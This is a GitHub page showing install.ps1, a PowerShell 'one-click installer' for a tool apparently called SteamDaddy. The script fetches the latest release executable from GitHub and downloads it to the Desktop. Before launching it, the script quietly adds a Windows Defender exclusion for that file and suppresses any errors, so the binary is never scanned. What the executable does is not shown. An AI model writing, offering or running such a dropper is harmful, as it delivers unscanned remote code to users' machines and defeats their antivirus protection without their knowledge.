-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathinstall.ps1
More file actions
24 lines (19 loc) · 1011 Bytes
/
Copy pathinstall.ps1
File metadata and controls
24 lines (19 loc) · 1011 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# SteamDaddy One-Click Installer
$ErrorActionPreference = "Stop"
Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan
try {
$release = Invoke-RestMethod -Uri "https://api.github.com/repos/Contrary7nit/SteamDaddy/releases/latest"
$asset = $release.assets | Where-Object { $_.name -like "*.exe" } | Select-Object -First 1
if (-not $asset) {
throw "No executable asset found in the latest release."
}
$desktop = [Environment]::GetFolderPath("Desktop")
$destPath = Join-Path $desktop "SteamDaddy.exe"
try { Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue } catch {}
Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta
Invoke-WebRequest -Uri $asset.browser_download_url -OutFile $destPath
Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green
Start-Process $destPath
} catch {
Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red
}